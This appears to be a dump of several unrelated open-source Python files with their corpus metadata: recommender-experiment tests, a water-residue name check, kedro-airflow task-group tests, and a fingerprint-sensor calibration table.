22.0, 101.0, 2.0, 20.0, 23.0, 101.0, 23.0, 20.0, 1.0, 9.0, 31.0, 16.0, 11.0, 4.0, 34.0, 6.0, 101.0, 101.0, 37.0, 4.0, 15.0, 1.0, 101.0, 12.0, 15.0, 5.0, 101.0, 24.0, 5.0, 5.0, 31.0, 100.0, 38.0, 101.0, 11.0, 8.0, 28.0, 101.0, 34.0, 101.0, 101.0, 16.0, 11.0, 22.0, 13.0, 20.0, 101.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 20.0, 23.0, 11.0, 101.0, 42.0, 3.0, 101.0, 12.0, 101.0, 16.0, 2.0, 9.0, 9.0, 101.0, 101.0, 101.0, 40.0, 101.0, 101.0, 16.0, 101.0, 21.0, 101.0, 10.0, 12.0, 1.0, 4.0, 5.0, 35.0, 1.0, 101.0, 97.0, 5.0, 21.0, 9.0, 101.0, 101.0, 28.0, 32.0, 101.0, 16.0, 10.0, 27.0, 2.0, 44.0, 101.0, 27.0, 5.0, 29.0, 101.0, 22.0, 39.0, 12.0, 2.0, 58.0, 1.0, 10.0, 37.0, 12.0, 101.0, 2.0, 6.0, 10.0, 92.0, 23.0, 2.0, 101.0, 1.0, 1.0, 62.0, 101.0, 16.0, 22.0, 26.0, 41.0, 101.0, 101.0, 101.0]
if(compiler == "gcc" and stdlib == "libstdc++"):
assert list(rankings["rank"].fillna(101)) == desired_ranks
assert DcgScore(rankings).mean() == pytest.approx(0.15820316053460715, abs=5*1e-3)
def test_batchFactorExperiment_timeframe(self):
data = pd.read_csv(
"python/test_alpenglow/test_data_4",
sep=' ',
header=None,
names=['time', 'user', 'item', 'id', 'score', 'eval']
)
sbExperiment = alpenglow.experiments.BatchFactorExperiment(
top_k=100,
negative_rate=3,
seed=254938879,
period_length=1000,
timeframe_length=2000
)
rankings = sbExperiment.run(data, verbose=True, exclude_known=True)
assert rankings.top_k == 100
desired_ranks=[101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 42.0, 1.0, 10.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 18.0, 87.0, 101.0, 92.0, 101.0, 101.0, 48.0, 3.0, 101.0, 77.0, 25.0, 75.0, 3.0, 80.0, 10.0, 101.0, 101.0, 101.0, 101.0, 89.0, 101.0, 66.0, 101.0, 6.0, 101.0, 52.0, 83.0, 101.0, 101.0, 56.0, 24.0, 26.0, 38.0, 101.0, 101.0, 16.0, 58.0, 15.0, 31.0, 101.0, 26.0, 101.0, 76.0, 72.0, 12.0, 7.0, 50.0, 24.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 32.0, 101.0, 101.0, 101.0, 52.0, 95.0, 3.0, 101.0, 98.0, 94.0, 101.0, 22.0, 101.0, 101.0, 25.0, 101.0, 3.0, 83.0, 2.0, 101.0, 25.0, 9.0, 27.0, 101.0, 37.0, 12.0, 101.0, 101.0, 64.0, 101.0, 101.0, 101.0, 101.0, 26.0, 50.0, 5.0, 101.0, 101.0, 66.0, 101.0, 45.0, 11.0, 101.0, 7.0, 101.0, 34.0, 101.0, 1.0, 98.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 4.0, 101.0, 10.0, 10.0, 101.0, 101.0, 101.0, 101.0, 31.0, 6.0, 101.0, 101.0, 101.0, 7.0, 54.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 6.0, 101.0, 101.0, 45.0, 101.0, 101.0, 22.0, 101.0, 101.0, 45.0, 101.0, 101.0, 89.0, 101.0, 101.0, 101.0, 30.0, 3.0, 20.0, 101.0, 3.0, 10.0, 101.0, 16.0, 101.0, 101.0, 101.0, 25.0, 94.0, 16.0, 101.0, 101.0, 101.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 31.0, 101.0, 101.0, 53.0, 3.0, 101.0, 2.0, 2.0, 101.0, 43.0, 101.0, 26.0, 36.0, 101.0, 101.0, 5.0, 5.0, 101.0, 21.0, 3.0, 3.0, 5.0, 37.0, 47.0, 101.0, 101.0, 35.0, 12.0, 101.0, 23.0, 101.0, 28.0, 101.0, 7.0, 82.0, 26.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 2.0, 10.0, 80.0, 72.0, 26.0, 101.0, 38.0, 48.0, 10.0, 101.0, 65.0, 101.0, 4.0, 101.0, 12.0, 101.0, 50.0, 101.0, 101.0, 101.0, 101.0, 101.0, 3.0, 7.0, 101.0, 10.0, 14.0, 78.0, 97.0, 6.0, 1.0, 8.0, 15.0, 29.0, 3.0, 101.0, 96.0, 46.0, 32.0, 101.0, 12.0, 58.0, 101.0, 101.0, 53.0, 52.0, 4.0, 25.0, 70.0, 99.0, 14.0, 25.0, 38.0, 3.0, 1.0, 101.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 90.0, 1.0, 101.0, 101.0, 101.0, 4.0, 101.0, 100.0, 44.0, 22.0, 56.0, 42.0, 101.0, 65.0, 100.0, 35.0, 7.0, 101.0, 101.0, 101.0, 88.0, 101.0, 2.0, 58.0, 101.0, 33.0, 8.0, 1.0, 37.0, 93.0, 101.0, 3.0, 36.0, 17.0, 20.0, 62.0, 1.0, 35.0, 101.0, 4.0, 77.0, 17.0, 101.0, 101.0, 1.0, 101.0, 101.0, 28.0, 101.0, 101.0, 19.0, 101.0, 37.0, 18.0, 101.0, 1.0, 101.0, 101.0, 25.0, 35.0, 101.0, 19.0, 47.0, 42.0, 21.0, 101.0, 101.0, 88.0, 101.0, 9.0, 4.0, 101.0, 4.0, 101.0, 3.0, 87.0, 16.0, 14.0, 101.0, 101.0, 46.0, 13.0, 44.0, 101.0, 31.0, 101.0, 101.0, 101.0, 1.0, 101.0, 57.0, 101.0, 85.0, 1.0, 91.0, 101.0, 101.0, 101.0, 101.0, 42.0, 22.0, 101.0, 101.0, 55.0, 9.0, 15.0, 101.0, 16.0, 63.0, 44.0, 101.0, 101.0, 64.0, 10.0, 101.0, 4.0, 101.0, 11.0, 2.0, 94.0, 43.0, 19.0, 13.0, 11.0, 101.0, 1.0, 101.0, 20.0, 39.0, 51.0, 53.0, 13.0, 5.0, 101.0, 46.0, 101.0, 73.0, 101.0, 101.0, 101.0, 75.0, 36.0, 17.0, 101.0, 101.0, 101.0, 101.0, 1.0, 4.0, 101.0, 72.0, 35.0, 101.0, 101.0, 6.0, 15.0, 3.0, 101.0, 101.0, 24.0, 101.0, 101.0, 37.0, 101.0, 32.0, 83.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 25.0, 13.0, 101.0, 6.0, 101.0, 63.0, 34.0, 23.0, 96.0, 25.0, 3.0, 83.0, 13.0, 2.0, 17.0, 101.0, 25.0, 31.0, 1.0, 96.0, 2.0, 72.0, 4.0, 101.0, 2.0, 4.0, 94.0, 101.0, 101.0, 95.0, 101.0, 37.0, 101.0, 83.0, 2.0, 101.0, 12.0, 101.0, 101.0, 2.0, 2.0, 58.0, 101.0, 42.0, 23.0, 101.0, 23.0, 101.0, 101.0, 1.0, 13.0, 101.0, 7.0, 101.0, 25.0, 101.0, 16.0, 94.0, 67.0, 21.0, 101.0, 6.0, 101.0, 101.0, 17.0, 26.0, 101.0, 101.0, 101.0, 6.0, 14.0, 10.0, 101.0, 22.0, 101.0, 9.0, 54.0, 79.0, 72.0, 36.0, 79.0, 101.0, 101.0, 26.0, 101.0, 22.0, 57.0, 7.0, 4.0, 101.0, 101.0, 24.0, 23.0, 33.0, 2.0, 101.0, 101.0, 3.0, 4.0, 32.0, 29.0, 54.0, 25.0, 9.0, 101.0, 101.0, 12.0, 11.0, 16.0, 1.0, 101.0, 86.0, 13.0, 101.0, 101.0, 6.0, 49.0, 13.0, 92.0, 19.0, 10.0, 101.0, 2.0, 35.0, 3.0, 25.0, 101.0, 85.0, 101.0, 75.0, 84.0, 101.0, 29.0, 5.0, 101.0, 46.0, 14.0, 10.0, 43.0, 28.0, 10.0, 101.0, 101.0, 89.0, 20.0, 4.0, 7.0, 18.0, 43.0, 28.0, 46.0, 101.0, 7.0, 3.0, 101.0, 1.0, 11.0, 20.0, 101.0, 3.0, 99.0, 101.0, 9.0, 23.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 8.0, 42.0, 43.0, 101.0, 5.0, 16.0, 17.0, 12.0, 101.0, 51.0, 58.0, 65.0, 101.0, 101.0, 101.0, 101.0, 101.0, 14.0, 14.0, 25.0, 26.0, 101.0, 101.0, 69.0, 18.0, 79.0, 38.0, 9.0, 101.0, 28.0, 9.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 8.0, 30.0, 32.0, 2.0, 35.0, 101.0, 9.0, 2.0, 29.0, 101.0, 19.0, 14.0, 6.0, 22.0, 21.0, 12.0, 2.0, 4.0, 101.0, 5.0, 101.0, 101.0, 82.0, 97.0, 17.0, 4.0, 101.0, 57.0, 13.0, 12.0, 101.0, 10.0, 16.0, 9.0, 13.0, 101.0, 68.0, 101.0, 12.0, 17.0, 33.0, 101.0, 81.0, 101.0, 101.0, 12.0, 16.0, 47.0, 19.0, 85.0, 101.0, 2.0, 101.0, 101.0, 101.0, 101.0, 101.0, 33.0, 33.0, 15.0, 101.0, 101.0, 12.0, 101.0, 8.0, 101.0, 30.0, 1.0, 11.0, 22.0, 87.0, 101.0, 101.0, 101.0, 101.0, 101.0, 18.0, 101.0, 38.0, 101.0, 15.0, 20.0, 3.0, 1.0, 1.0, 97.0, 1.0, 101.0, 34.0, 7.0, 62.0, 5.0, 101.0, 101.0, 60.0, 101.0, 101.0, 2.0, 12.0, 59.0, 9.0, 101.0, 101.0, 30.0, 8.0, 38.0, 96.0, 90.0, 76.0, 25.0, 8.0, 101.0, 5.0, 5.0, 101.0, 33.0, 101.0, 8.0, 33.0, 18.0, 101.0, 5.0, 6.0, 101.0, 6.0, 1.0, 100.0, 101.0, 1.0, 17.0, 48.0, 41.0, 101.0, 101.0, 101.0]
if(compiler == "gcc" and stdlib == "libstdc++"):
assert list(rankings["rank"].fillna(101)) == desired_ranks
assert DcgScore(rankings).mean() == pytest.approx(0.14411975824368886, abs=5*1e-3)
| 244.316667
| 6,412
| 0.540214
| 4,206
| 14,659
| 1.875654
| 0.040656
| 0.516162
| 0.643935
| 0.666244
| 0.890227
| 0.776524
| 0.776524
| 0.674737
| 0.674737
| 0.652427
| 0
| 0.562294
| 0.172113
| 14,659
| 59
| 6,413
| 248.457627
| 0.087755
| 0
| 0
| 0.509804
| 0
| 0
| 0.00996
| 0.004502
| 0
| 0
| 0
| 0
| 0.117647
| 1
| 0.039216
| false
| 0
| 0.176471
| 0
| 0.235294
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
2050aa8bac776e58ed5ba2889a0c9baf715042ff
| 93
|
py
|
Python
|
molsysmt/element/group/water/is_water.py
|
uibcdf/MolModMTs
|
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
|
[
"MIT"
] | null | null | null |
molsysmt/element/group/water/is_water.py
|
uibcdf/MolModMTs
|
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
|
[
"MIT"
] | null | null | null |
molsysmt/element/group/water/is_water.py
|
uibcdf/MolModMTs
|
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
|
[
"MIT"
] | null | null | null |
from .water_names import water_names
def is_water(name):
return (name in water_names)
| 13.285714
| 36
| 0.752688
| 15
| 93
| 4.4
| 0.6
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.182796
| 93
| 6
| 37
| 15.5
| 0.868421
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
6456e19ef101c94eb29c8431634af7137cd1ed87
| 12,609
|
py
|
Python
|
tests/test_task_group_factory.py
|
lmaczulajtys/kedro-airflow-k8s
|
335e301acf340d6ab4a26f0e694cb854e2b49483
|
[
"Apache-2.0"
] | 14
|
2021-03-08T10:17:33.000Z
|
2022-03-07T01:44:42.000Z
|
tests/test_task_group_factory.py
|
lmaczulajtys/kedro-airflow-k8s
|
335e301acf340d6ab4a26f0e694cb854e2b49483
|
[
"Apache-2.0"
] | 48
|
2021-03-10T14:32:07.000Z
|
2022-03-14T07:34:38.000Z
|
tests/test_task_group_factory.py
|
lmaczulajtys/kedro-airflow-k8s
|
335e301acf340d6ab4a26f0e694cb854e2b49483
|
[
"Apache-2.0"
] | 7
|
2021-03-05T13:07:21.000Z
|
2022-02-27T20:06:41.000Z
|
import unittest
import pyspark
from kedro.extras.datasets.pandas import CSVDataSet
from kedro.extras.datasets.spark import SparkDataSet
from kedro.io import DataCatalog
from kedro.pipeline import Pipeline, node
from kedro_airflow_k8s.task_group import TaskGroupFactory
class TestTaskGroupFactory(unittest.TestCase):
def test_empty_pipeline(self):
pipeline = Pipeline(nodes=[])
data_catalog = DataCatalog(data_sets={})
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
assert len(task_groups) == 0
def test_create_dag_only_spark(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["sparkframe1"],
outputs=["sparkframe2"],
name="node1",
),
node(
self,
inputs=["sparkframe2"],
outputs=["sparkframe3"],
name="node2",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe2": SparkDataSet("/tmp/dummy2"),
"sparkframe3": SparkDataSet("/tmp/dummy3"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
assert len(task_groups) == 1
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 2
assert task_groups[0].name.startswith("pyspark_")
assert len(task_groups[0].children) == 0
def test_create_dag_only_default(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node1",
),
node(
self,
inputs=["pandasframe2"],
outputs=["pandasframe3"],
name="node2",
),
]
)
data_catalog = DataCatalog(
data_sets={
"pandasframe1": CSVDataSet("/tmp/dummy1"),
"pandasframe2": CSVDataSet("/tmp/dummy2"),
"pandasframe3": CSVDataSet("/tmp/dummy3"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
task_groups.sort(key=lambda x: x.name)
assert len(task_groups) == 2
assert task_groups[0].group_type == "default"
assert len(task_groups[0].task_group) == 1
assert task_groups[0].name.startswith("node1")
assert len(task_groups[0].children) == 1
assert task_groups[1] in task_groups[0].children
assert task_groups[1].group_type == "default"
assert len(task_groups[1].task_group) == 1
assert task_groups[1].name.startswith("node2")
assert len(task_groups[1].children) == 0
def test_create_dag_intermediate_spark_frames(self):
def node2(
input_param: pyspark.sql.dataframe.DataFrame,
) -> pyspark.sql.dataframe.DataFrame:
pass
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["sparkframe1"],
outputs=["sparkframe2"],
name="node1",
),
node(
node2,
inputs=["sparkframe2"],
outputs=["sparkframe3"],
name="node2",
),
node(
self,
inputs=["sparkframe3"],
outputs=["sparkframe4"],
name="node3",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe4": SparkDataSet("/tmp/dummy4"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
assert len(task_groups) == 1
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 3
assert task_groups[0].name.startswith("pyspark_")
def test_create_dag_mixed_datasets(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["sparkframe1"],
outputs=["sparkframe2"],
name="node1",
),
node(
self,
inputs=["sparkframe2"],
outputs=["sparkframe3"],
name="node2",
),
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node3",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe3": SparkDataSet("/tmp/dummy3"),
"pandasframe1": CSVDataSet("/tmp/dummy4"),
"pandasframe2": CSVDataSet("/tmp/dummy5"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
task_groups.sort(reverse=True, key=lambda x: x.name)
assert len(task_groups) == 2
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 2
assert len(task_groups[0].children) == 0
assert task_groups[0].name.startswith("pyspark_")
assert task_groups[1].group_type == "default"
assert len(task_groups[1].task_group) == 1
assert task_groups[1].name == "node3"
assert len(task_groups[1].children) == 0
def test_create_dag_interleaved_datasets(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["pandasframe0"],
outputs=["sparkframe1"],
name="node1",
),
node(
self,
inputs=["sparkframe1", "pandasframe2"],
outputs=["sparkframe2"],
name="node2",
),
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node3",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe2": SparkDataSet("/tmp/dummy2"),
"pandasframe0": CSVDataSet("/tmp/dummy3"),
"pandasframe1": CSVDataSet("/tmp/dummy4"),
"pandasframe2": CSVDataSet("/tmp/dummy5"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
task_groups.sort(reverse=True, key=lambda x: x.name)
assert len(task_groups) == 2
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 2
assert task_groups[0] in task_groups[1].children
assert task_groups[0].name.startswith("pyspark_")
assert task_groups[1].group_type == "default"
assert len(task_groups[1].task_group) == 1
assert task_groups[1].name == "node3"
def test_create_dag_multiple_spark_subdags(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["sparkframe1"],
outputs=["sparkframe2"],
name="node1",
),
node(
self,
inputs=["sparkframe2"],
outputs=["pandasframe1"],
name="node2",
),
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node3",
),
node(
self,
inputs=["pandasframe2"],
outputs=["sparkframe3"],
name="node4",
),
node(
self,
inputs=["sparkframe3"],
outputs=["sparkframe4"],
name="node5",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe2": SparkDataSet("/tmp/dummy2"),
"pandasframe1": CSVDataSet("/tmp/dummy3"),
"pandasframe2": CSVDataSet("/tmp/dummy4"),
"pandasframe3": CSVDataSet("/tmp/dummy5"),
"sparkframe3": SparkDataSet("/tmp/dummy6"),
"sparkframe4": SparkDataSet("/tmp/dummy7"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
task_groups.sort(key=lambda x: x.name)
assert len(task_groups) == 3
assert task_groups[0].group_type == "default"
assert len(task_groups[0].task_group) == 1
assert task_groups[0].name == "node3"
assert len(task_groups[0].children) == 1
assert task_groups[1].group_type == "pyspark"
assert len(task_groups[1].task_group) == 2
assert task_groups[1].name.startswith("pyspark_")
assert task_groups[2].group_type == "pyspark"
assert len(task_groups[2].task_group) == 2
assert task_groups[2].name.startswith("pyspark_")
assert task_groups[2].name != task_groups[1].name
def test_create_dag_from_tags(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node3",
tags=["kedro-airflow-k8s:group:pyspark"],
),
node(
self,
inputs=["pandasframe2"],
outputs=["pandasframe3"],
name="node4",
),
]
)
data_catalog = DataCatalog(
data_sets={
"pandasframe1": CSVDataSet("/tmp/dummy1"),
"pandasframe3": CSVDataSet("/tmp/dummy3"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
task_groups.sort(reverse=True, key=lambda x: x.name)
assert len(task_groups) == 2
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 1
assert task_groups[1] in task_groups[0].children
assert task_groups[0].name.startswith("pyspark_")
assert task_groups[1].group_type == "default"
assert len(task_groups[1].task_group) == 1
assert task_groups[1].name == "node4"
def test_non_pyspark_dependency(self):
pipeline = Pipeline(
nodes=[
node(
self,
inputs=["sparkframe1"],
outputs=["sparkframe2", "pandasframe1"],
name="node1",
),
node(
self,
inputs=["sparkframe2", "pandasframe2"],
outputs=["sparkframe3"],
name="node2",
),
node(
self,
inputs=["pandasframe1"],
outputs=["pandasframe2"],
name="node3",
),
]
)
data_catalog = DataCatalog(
data_sets={
"sparkframe1": SparkDataSet("/tmp/dummy1"),
"sparkframe2": SparkDataSet("/tmp/dummy2"),
"pandasframe1": CSVDataSet("/tmp/dummy3"),
"pandasframe2": CSVDataSet("/tmp/dummy4"),
"sparkframe3": SparkDataSet("/tmp/dummy6"),
}
)
task_groups = TaskGroupFactory().create(pipeline, data_catalog)
assert len(task_groups) == 1
assert task_groups[0].group_type == "pyspark"
assert len(task_groups[0].task_group) == 3
assert task_groups[0].name.startswith("pyspark_")
| 33.624
| 71
| 0.479895
| 1,041
| 12,609
| 5.638809
| 0.086455
| 0.134583
| 0.059966
| 0.093867
| 0.825043
| 0.808348
| 0.783816
| 0.71891
| 0.704089
| 0.671891
| 0
| 0.030509
| 0.404711
| 12,609
| 374
| 72
| 33.713904
| 0.751532
| 0
| 0
| 0.75
| 0
| 0
| 0.126576
| 0.002459
| 0
| 0
| 0
| 0
| 0.183735
| 1
| 0.03012
| false
| 0.003012
| 0.021084
| 0
| 0.054217
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
64ba7430b48f3466100f38cd3c175a45283381e9
| 104,250
|
py
|
Python
|
validitysensor/generated_tables.py
|
Mstrodl/python-validity
|
bc3cee30246022c30205f6c425e6619e43641955
|
[
"MIT"
] | null | null | null |
validitysensor/generated_tables.py
|
Mstrodl/python-validity
|
bc3cee30246022c30205f6c425e6619e43641955
|
[
"MIT"
] | null | null | null |
validitysensor/generated_tables.py
|
Mstrodl/python-validity
|
bc3cee30246022c30205f6c425e6619e43641955
|
[
"MIT"
] | null | null | null |
from .table_types import SensorTypeInfo, SensorCaptureProg
SensorTypeInfo.table=[
SensorTypeInfo(sensor_type=0x00db, bytes_per_line=0x98, repeat_multiplier=1, lines_per_calibration_data=144, line_width=144, calibration_blob='101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f'),
SensorTypeInfo(sensor_type=0x00e4, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=100, line_width=112, calibration_blob='9392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e'),
SensorTypeInfo(sensor_type=0x00ed, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x0199, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x00b5, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x0885, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x1055, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x1825, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x1ff5, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'),
SensorTypeInfo(sensor_type=0x00b3, bytes_per_line=0x60, repeat_multiplier=2, lines_per_calibration_data=84, line_width=85, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'),
SensorTypeInfo(sensor_type=0x143b, bytes_per_line=0x5c, repeat_multiplier=2, lines_per_calibration_data=84, line_width=84, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'),
SensorTypeInfo(sensor_type=0x08b1, bytes_per_line=0x58, repeat_multiplier=2, lines_per_calibration_data=78, line_width=78, calibration_blob='9b9a9996959392918f8e8d8b8a89878685837d7b7a7977767573716f6d6b6a695d5b5a595756555251504e4d4c4a41403e3d3c3a393432312c2a28261e1d1c1a19181615141211100d0c0a090806'),
SensorTypeInfo(sensor_type=0x00e1, bytes_per_line=0x58, repeat_multiplier=2, lines_per_calibration_data=78, line_width=78, calibration_blob='9b9a9996959392918f8e8d8b8a89878685837d7b7a7977767573716f6d6b6a695d5b5a595756555251504e4d4c4a41403e3d3c3a393432312c2a28261e1d1c1a19181615141211100d0c0a090806'),
